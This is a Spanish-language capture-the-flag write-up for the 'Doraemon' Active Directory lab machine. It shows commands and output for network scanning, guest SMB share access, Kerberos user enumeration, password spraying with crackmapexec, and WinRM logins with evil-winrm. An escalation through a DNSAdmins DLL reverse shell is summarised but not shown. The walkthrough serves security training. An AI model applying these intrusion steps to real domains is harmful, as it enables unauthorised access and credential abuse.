Doraemon - TheHackerLabs
NOTA IMPORTANTE: En caso de que tengas problemas con la configuración de la máquina Doraemon en VirtualBox y no encuentres la IP de la máquina usando nmap o arp-scan.
Cambia la IP del servidor DHCP de la interfaz Host-Only, de tal manera que no ocupe la IP 192.168.10.5
, pues parece que la máquina Doraemon, ocupa esta IP por defecto.
En mi caso, funciono eligiendo la IP 192.168.10.7
.
Una máquina que es lo suficiente complicada. Después de analizar los escaneo e identificar que estamos contra una máquina que es Active Directory, vemos que es posible ver los recursos compartidos con el usuario guest. Ahí, encontramos un archivo que contiene una conversación entre varios personajes de Doraemon. Copiamos los nombres de estos personajes y otros más que aparecen en el mensaje, para aplicar Password Spraying con tal de identificar si algún usuario utilizo su propio usuario como contraseña. Encontramos a un usuario que usa como contraseña el nombre de un grupo, descrito en el mensaje y dicho usuario pertenece al servicio WinRM, lo que nos permite loguearnos con la herramienta Evil-WinRM. Una vez dentro, utilizamos winPEASx64.exe para enumerar la máquina, siendo así que encontramos un archivo oculto que contiene la contraseña de otro usuario. Para descubrir a qué usuario pertenece esa contraseña, volvemos a aplicar Password Spraying y lo encontramos, siendo que también pertenece al servicio WinRM. Logueándonos con el nuevo usuario, descubrimos que pertenece al grupo DNSAdmins, lo que nos permite crear y cargar una Reverse Shell almacenada en un archivo DLL, con tal de infectar el servicio DNS y nos permita escalar privilegios en otra sesión que capturara la Reverse Shell.
Herramientas utilizadas:
- ping
- nmap
- arp-scan
- crackmapexec
- smbmap
- kerbrute_linux_amd64
- impacket-GetNPUsers
- evil-winrm
- winPEASx64.exe
- whoami
- msfvenom
- impacket-smbserver
- rlwrap
- nc
- dnscmd.exe
- sc.exe
Índice
Recopilación de Información
Descubrimiento de Hosts
Hagamos un descubrimiento de hosts para encontrar a nuestro objetivo.
Lo haremos primero con nmap:
nmap -sn 192.168.10.0/24
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 14:06 CST
Nmap scan report for 192.168.10.5
Host is up (0.0040s latency).
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
...
...
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.47 seconds
Vamos a probar la herramienta arp-scan:
arp-scan -I eth0 -g 192.168.10.0/24
Interface: eth0, type: EN10MB, MAC: XX, IPv4: Tu_IP
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.10.5 XX PCS Systemtechnik GmbH
...
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.108 seconds (121.44 hosts/sec). 3 responded
Encontramos nuestro objetivo y es: 192.168.10.5
.
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.10.5
PING 192.168.10.5 (192.168.10.5) 56(84) bytes of data.
64 bytes from 192.168.10.5: icmp_seq=1 ttl=128 time=1.09 ms
64 bytes from 192.168.10.5: icmp_seq=2 ttl=128 time=1.10 ms
64 bytes from 192.168.10.5: icmp_seq=3 ttl=128 time=0.903 ms
64 bytes from 192.168.10.5: icmp_seq=4 ttl=128 time=0.919 ms
--- 192.168.10.5 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3181ms
rtt min/avg/max/mdev = 0.903/1.003/1.104/0.093 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.10.5 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 14:08 CST
Initiating ARP Ping Scan at 14:08
Scanning 192.168.10.5 [1 port]
Completed ARP Ping Scan at 14:08, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:08
Scanning 192.168.10.5 [65535 ports]
Discovered open port 445/tcp on 192.168.10.5
Discovered open port 139/tcp on 192.168.10.5
Discovered open port 53/tcp on 192.168.10.5
Discovered open port 135/tcp on 192.168.10.5
Discovered open port 593/tcp on 192.168.10.5
Discovered open port 49665/tcp on 192.168.10.5
Discovered open port 49671/tcp on 192.168.10.5
Discovered open port 389/tcp on 192.168.10.5
Discovered open port 47001/tcp on 192.168.10.5
Discovered open port 49668/tcp on 192.168.10.5
Discovered open port 9389/tcp on 192.168.10.5
Discovered open port 49664/tcp on 192.168.10.5
Discovered open port 3269/tcp on 192.168.10.5
Discovered open port 49673/tcp on 192.168.10.5
Discovered open port 49670/tcp on 192.168.10.5
Discovered open port 636/tcp on 192.168.10.5
Discovered open port 49666/tcp on 192.168.10.5
Discovered open port 49708/tcp on 192.168.10.5
Discovered open port 49686/tcp on 192.168.10.5
Discovered open port 49676/tcp on 192.168.10.5
Discovered open port 464/tcp on 192.168.10.5
Discovered open port 49669/tcp on 192.168.10.5
Discovered open port 3268/tcp on 192.168.10.5
Discovered open port 88/tcp on 192.168.10.5
Discovered open port 5985/tcp on 192.168.10.5
Completed SYN Stealth Scan at 14:09, 21.82s elapsed (65535 total ports)
Nmap scan report for 192.168.10.5
Host is up, received arp-response (0.00099s latency).
Scanned at 2025-04-09 14:08:55 CST for 21s
Not shown: 65510 closed tcp ports (reset)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 128
88/tcp open kerberos-sec syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
389/tcp open ldap syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
464/tcp open kpasswd5 syn-ack ttl 128
593/tcp open http-rpc-epmap syn-ack ttl 128
636/tcp open ldapssl syn-ack ttl 128
3268/tcp open globalcatLDAP syn-ack ttl 128
3269/tcp open globalcatLDAPssl syn-ack ttl 128
5985/tcp open wsman syn-ack ttl 128
9389/tcp open adws syn-ack ttl 128
47001/tcp open winrm syn-ack ttl 128
49664/tcp open unknown syn-ack ttl 128
49665/tcp open unknown syn-ack ttl 128
49666/tcp open unknown syn-ack ttl 128
49668/tcp open unknown syn-ack ttl 128
49669/tcp open unknown syn-ack ttl 128
49670/tcp open unknown syn-ack ttl 128
49671/tcp open unknown syn-ack ttl 128
49673/tcp open unknown syn-ack ttl 128
49676/tcp open unknown syn-ack ttl 128
49686/tcp open unknown syn-ack ttl 128
49708/tcp open unknown syn-ack ttl 128
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 22.07 seconds
Raw packets sent: 80225 (3.530MB) | Rcvd: 65537 (2.622MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Son bastantes puertos abiertos, y puedo ver algunos conocidos que nos indican que estamos contra una Active Directory, como el puerto 88.
Escaneo de Servicios
nmap -sCV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49668,49669,49670,49671,49673,49676,49686,49708 192.168.10.5 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-09 14:10 CST
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.10.5
Host is up (0.00085s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-04-09 12:10:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: DORAEMON.THL, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Datacenter 14393 microsoft-ds (workgroup: DORAEMON)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: DORAEMON.THL, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49708/tcp open msrpc Microsoft Windows RPC
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: WIN-VRU3GG3DPLJ; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-os-discovery:
| OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
| Computer name: WIN-VRU3GG3DPLJ
| NetBIOS computer name: WIN-VRU3GG3DPLJ\x00
| Domain name: DORAEMON.THL
| Forest name: DORAEMON.THL
| FQDN: WIN-VRU3GG3DPLJ.DORAEMON.THL
|_ System time: 2025-04-09T14:11:34+02:00
|_nbstat: NetBIOS name: WIN-VRU3GG3DPLJ, NetBIOS user: <unknown>, NetBIOS MAC: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
| smb2-time:
| date: 2025-04-09T12:11:34
|_ start_date: 2025-04-09T11:59:21
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: mean: -8h40m01s, deviation: 1h09m16s, median: -8h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.38 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
En efecto, estamos contra una máquina Active Directory. Podemos ver el dominio del AD, siendo DORAEMON.THL, así que regístralo en el /etc/hosts
.
Además, vemos que el servicio SMB está aceptando el usuario guest como autenticación. Entonces, vamos a empezar por el servicio SMB para ver que podemos encontrar.
Análisis de Vulnerabilidades
Enumeración de Servicio SMB
Veamos qué nos reporta la herramienta crackmapexec:
crackmapexec smb 192.168.10.5
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True)
Confirmamos el dominio, la versión del SO que se está usando y que son necesarias credenciales de acceso para loguearse al servicio SMB.
Veamos si podemos ver los recursos compartidos con el usuario guest, como lo menciono el escaneo:
smbmap -H 192.168.10.5 -u 'guest' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 192.168.10.5:445 Name: DORAEMON.THL Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
gorrocoptero READ ONLY
IPC$ READ ONLY IPC remota
NETLOGON NO ACCESS Recurso compartido del servidor de inicio de sesión
SYSVOL NO ACCESS Recurso compartido del servidor de inicio de sesión
Users NO ACCESS
[*] Closed 1 connections
Funciona.
Veamos qué hay dentro del directorio gorrocoptero:
smbmap -H 192.168.10.5 -u 'guest' -r gorrocoptero --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] IP: 192.168.10.5:445 Name: DORAEMON.THL Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Admin remota
C$ NO ACCESS Recurso predeterminado
gorrocoptero READ ONLY
./gorrocoptero
dr--r--r-- 0 Wed Oct 2 03:17:24 2024 .
dr--r--r-- 0 Wed Oct 2 03:17:24 2024 ..
fr--r--r-- 1843 Wed Oct 2 03:18:00 2024 kedadawapa.txt
IPC$ READ ONLY IPC remota
NETLOGON NO ACCESS Recurso compartido del servidor de inicio de sesión
SYSVOL NO ACCESS Recurso compartido del servidor de inicio de sesión
Users NO ACCESS
[*] Closed 1 connections
Tenemos un archivo de texto.
Vamos a descargarlo:
smbmap -H 192.168.10.5 -u 'guest' --download gorrocoptero/kedadawapa.txt --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[+] Starting download: gorrocoptero\kedadawapa.txt (1843 bytes)
[+] File output to: /home/berserkwings/Escritorio/TheHackersLabs/Doraemon/content/192.168.10.5-gorrocoptero_kedadawapa.txt
[*] Closed 1 connections
Y veamos su contenido:
cat 192.168.10.5-gorrocoptero_kedadawapa.txt
Atención al grupo especial Dorayaki1 de Estepona
- Doraemon: ¡Hola, chicos! ¿Qué les parece si vamos a comer dorayakis hoy?
- Nobita: ¡SÃ! ¡Me encantan los dorayakis! Pero… ¿dónde vamos a conseguirlos?
- Shizuka: He oÃdo que hay una nueva tienda de dorayakis en la esquina de la calle. ¡Dicen que son los mejores de la ciudad!
- Suneo: Oh, por favor. Siempre hay algo nuevo. No puedo esperar para probarlos. ¡Espero que sean más grandes que los de la tienda anterior!
- Gigante: ¡Quiero que sean enormes! ¡Y que tengan mucho relleno! Si no, ¡no me importa ir!
- Doraemon: Bueno, podemos pedirle a Nobita que use el poder de la máquina de tiempo para viajar al futuro y traernos unos dorayakis del año 3000.
- Nobita: ¡Espera! No sé si deberÃa usar la máquina. La última vez que lo hice, terminé en un lugar lleno de robots raros…
- Shizuka: No te preocupes, Nobita. Solo vamos a la tienda. No necesitamos ir al futuro. ¡Podemos ir a pie!
- Suneo: Eso suena aburrido. ¿Por qué no hacemos una carrera? El primero en llegar a la tienda puede elegir el sabor de los dorayakis.
- Gigante: ¡Me encanta esa idea! Pero, ¡tendrás que correr rápido para ganarme, Suneo!
- Doraemon: ¿Y si mejor vamos todos juntos? Asà disfrutamos del camino. Además, ¡puedo usar el futurófono para pedir un montón de dorayakis para que nos estén esperando!
- Nobita: ¡Esa es una gran idea, Doraemon! Asà no tengo que correr y me aseguro de que haya suficiente para todos.
- Shizuka: ¡Perfecto! Entonces, ¡vamos a la tienda de dorayakis!
- Suneo: ¡SÃ! ¡Dorayakis, allá vamos!
- Gigante: ¡No se olviden de mÃ! ¡Voy a ganar!
- Doraemon: ¡A comer dorayakis!
Ok, podemos ignorar los mensajes que se están mandando y enfoquemonos en los nombres del mensaje.
Los guardaremos en un archivo, quedando de esta manera:
cat AD_users.txt
administrador
guest
invitado
Nobita
Shizuka
Suneo
Gigante
Doraemon
Dorayaki1
Estepona
Agregue algunos usuarios conocidos que son por defecto.
Con esto, podemos hacer algunas cosillas.
Enumeración de Usuarios de Servicio Kerberos
La idea es identificar a los usuarios que están registrados en la máquina víctima, y eso lo podemos hacer con la herramienta Kerbrute.
Aquí la puedes obtener:
Veamos cuáles existen:
./kerbrute_linux_amd64 userenum -d DORAEMON.THL --dc 192.168.10.5 AD_users.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 04/09/25 - Ronnie Flathers @ropnop
2025/04/09 17:50:18 > Using KDC(s):
2025/04/09 17:50:18 > 192.168.10.5:88
2025/04/09 17:50:18 > [+] VALID USERNAME: Shizuka@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: administrador@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: Suneo@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: invitado@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: Doraemon@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: Nobita@DORAEMON.THL
2025/04/09 17:50:18 > [+] VALID USERNAME: Gigante@DORAEMON.THL
2025/04/09 17:50:18 > Done! Tested 10 usernames (7 valid) in 0.054 seconds
Excelente, los únicos usuarios que no existen son Dorayaki1 y Estepona.
Ahora bien, podríamos intentar aplicar el ataque AS-REP Roasting, pero no funcionará:
impacket-GetNPUsers -no-pass -usersfile AD_users.txt DORAEMON.THL/
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] User Administrador doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrador doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User invitado doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Nobita doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nobita doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Shizuka doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User shizuka doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Suneo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User suneo doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Gigante doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gigante doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User Doraemon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User doraemon doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
Ningún usuario tiene activo el permiso UF_DONT_REQUIRE_PREAUTH.
Lo que sí podemos probar, es si algún usuario utilizo su mismo nombre como contraseña y podemos utilizar los que ya tenemos, siendo este el ataque Password Spraying.
Explotación de Vulnerabilidades
Aplicando Password Spraying con crackmapexec
Aplicaremos Password Spraying con crackmapexec y escogeremos cada usuario de la lista de usuarios.
Observa que con el nombre del grupo Dorayaki1, sirve para algunos usuarios, pero el que me llama la atención es el usuario Doraemon:
crackmapexec smb 192.168.10.5 -u AD_users.txt -p 'Dorayaki1' --continue-on-success --no-brute
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True)
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\administrador:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\guest:Dorayaki1
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\invitado:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Nobita:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Shizuka:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Suneo:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Gigante:Dorayaki1 STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Doraemon:Dorayaki1
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Dorayaki1:Dorayaki1
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Estepona:Dorayaki1
Y recordando el escaneo, vimos que está activo el servicio WinRM.
Probemos si funciona esta contraseña contra algún usuario:
crackmapexec winrm 192.168.10.5 -u AD_users.txt -p 'Dorayaki1' --continue-on-success --no-brute
SMB 192.168.10.5 5985 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL)
HTTP 192.168.10.5 5985 WIN-VRU3GG3DPLJ [*] http://192.168.10.5:5985/wsman
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\administrador:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\guest:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\invitado:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Nobita:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Shizuka:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Suneo:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Gigante:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Doraemon:Dorayaki1 (Pwn3d!)
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Dorayaki1:Dorayaki1
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Estepona:Dorayaki1
Genial, podemos loguearnos con el usuario Doraemon al servicio WinRM.
Hagámoslo con la herramienta evil-winrm:
evil-winrm -i 192.168.10.5 -u 'Doraemon' -p 'Dorayaki1'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Doraemon\Documents> whoami
doraemon\doraemon
Estamos dentro.
Enumeración de Máquina Víctima con winPEASx64.exe
Dentro de este usuario, aún no encontraremos la flag del usuario y tampoco encontraremos algo dentro de sus directorios.
Revisando sus privilegios, no tendrá alguno del que nos podamos aprovechar:
*Evil-WinRM* PS C:\Users\Doraemon\Documents> whoami /priv
INFORMACIàN DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripci¢n Estado
============================= ============================================ ==========
SeMachineAccountPrivilege Agregar estaciones de trabajo al dominio Habilitada
SeChangeNotifyPrivilege Omitir comprobaci¢n de recorrido Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Habilitada
También podemos ver a qué grupos pertenece nuestro usuario:
*Evil-WinRM* PS C:\Users\Doraemon\Documents> whoami /groups
INFORMACIàN DE GRUPO
--------------------
Nombre de grupo Tipo SID Atributos
================================================================== ============== ============ ========================================================================
Todos Grupo conocido S-1-1-0 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios de administraci¢n remota Alias S-1-5-32-580 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Usuarios Alias S-1-5-32-545 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
BUILTIN\Acceso compatible con versiones anteriores de Windows 2000 Alias S-1-5-32-554 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\NETWORK Grupo conocido S-1-5-2 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Usuarios autentificados Grupo conocido S-1-5-11 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Esta compa¤¡a Grupo conocido S-1-5-15 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
NT AUTHORITY\Autenticaci¢n NTLM Grupo conocido S-1-5-64-10 Grupo obligatorio, Habilitado de manera predeterminada, Grupo habilitado
Etiqueta obligatoria\Nivel obligatorio medio alto Etiqueta S-1-16-8448
No veo algún grupo del que nos podamos aprovechar.
Vamos a subir winPEASx64 para ver que puede encontrar.
Puedes descargarlo aquí:
Súbelo a la sesión de evil-winrm (recuerda que puedes abrir la sesión donde tengas el winPEASx64, si no tendrás que especificar la ruta completa de donde está):
*Evil-WinRM* PS C:\Users\Doraemon\Documents> cd C:\
*Evil-WinRM* PS C:\> mkdir Temp
*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> upload winPEASx64.exe
Info: Uploading /home/berserkwings/Escritorio/TheHackersLabs/Doraemon/content/winPEASx64.exe to C:\Temp\winPEASx64.exe
Data: 13521576 bytes of 13521576 bytes copied
Info: Upload successful!
Ejecútalo:
*Evil-WinRM* PS C:\Temp> ./winPEASx64.exe
[!] If you want to run the file analysis checks (search sensitive information in files), you need to specify the 'fileanalysis' or 'all' argument. Note that this search might take several minutes. For help, run winpeass.exe --help
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
Long paths are disabled, so the maximum length of a path supported is 260 chars (this may cause false negatives when looking for files). If you are admin, you can enable it with 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\FileSystem /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
....
....
....
Revisando casi al final, podemos ver que se encontró un archivo oculto:
ÉÍÍÍÍÍÍÍÍÍ͹ Searching hidden files or folders in C:\Users home (can be slow)
C:\Users\Default User
C:\Users\Default
C:\Users\All Users
C:\Users\Default
C:\Users\Doraemon\Links\Carta de amor a Shizuka.txt
C:\Users\All Users
C:\Users\All Users\ntuser.pol
Vamos a leerlo:
*Evil-WinRM* PS C:\Temp> type "C:\Users\Doraemon\Links\Carta de amor a Shizuka.txt"
Shizuka te doy la clave de mi corazon: ********
Parece que tenemos la contraseña de alguien.
Podemos probar a quién pertenece aplicando Password Spraying:
crackmapexec smb 192.168.10.5 -u AD_users.txt -p '***********' --continue-on-success --no-brute
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [*] Windows Server 2016 Datacenter 14393 x64 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL) (signing:True) (SMBv1:True)
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\administrador:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\guest:***********
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\invitado:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Nobita:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Shizuka:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Suneo:***********
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Gigante:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [-] DORAEMON.THL\Doraemon:*********** STATUS_LOGON_FAILURE
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Dorayaki1:***********
SMB 192.168.10.5 445 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Estepona:***********
La contraseña pertenece al usuario Suneo.
Probemos si sirve para el servicio WinRM:
crackmapexec winrm 192.168.10.5 -u 'Suneo' -p '***********'
SMB 192.168.10.5 5985 WIN-VRU3GG3DPLJ [*] Windows 10 / Server 2016 Build 14393 (name:WIN-VRU3GG3DPLJ) (domain:DORAEMON.THL)
HTTP 192.168.10.5 5985 WIN-VRU3GG3DPLJ [*] http://192.168.10.5:5985/wsman
WINRM 192.168.10.5 5985 WIN-VRU3GG3DPLJ [+] DORAEMON.THL\Suneo:*********** (Pwn3d!)
Genial.
Vamos a loguearnos como el usuario Suneo al servicio WinRM:
evil-winrm -i 192.168.10.5 -u 'Suneo' -p '*********'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
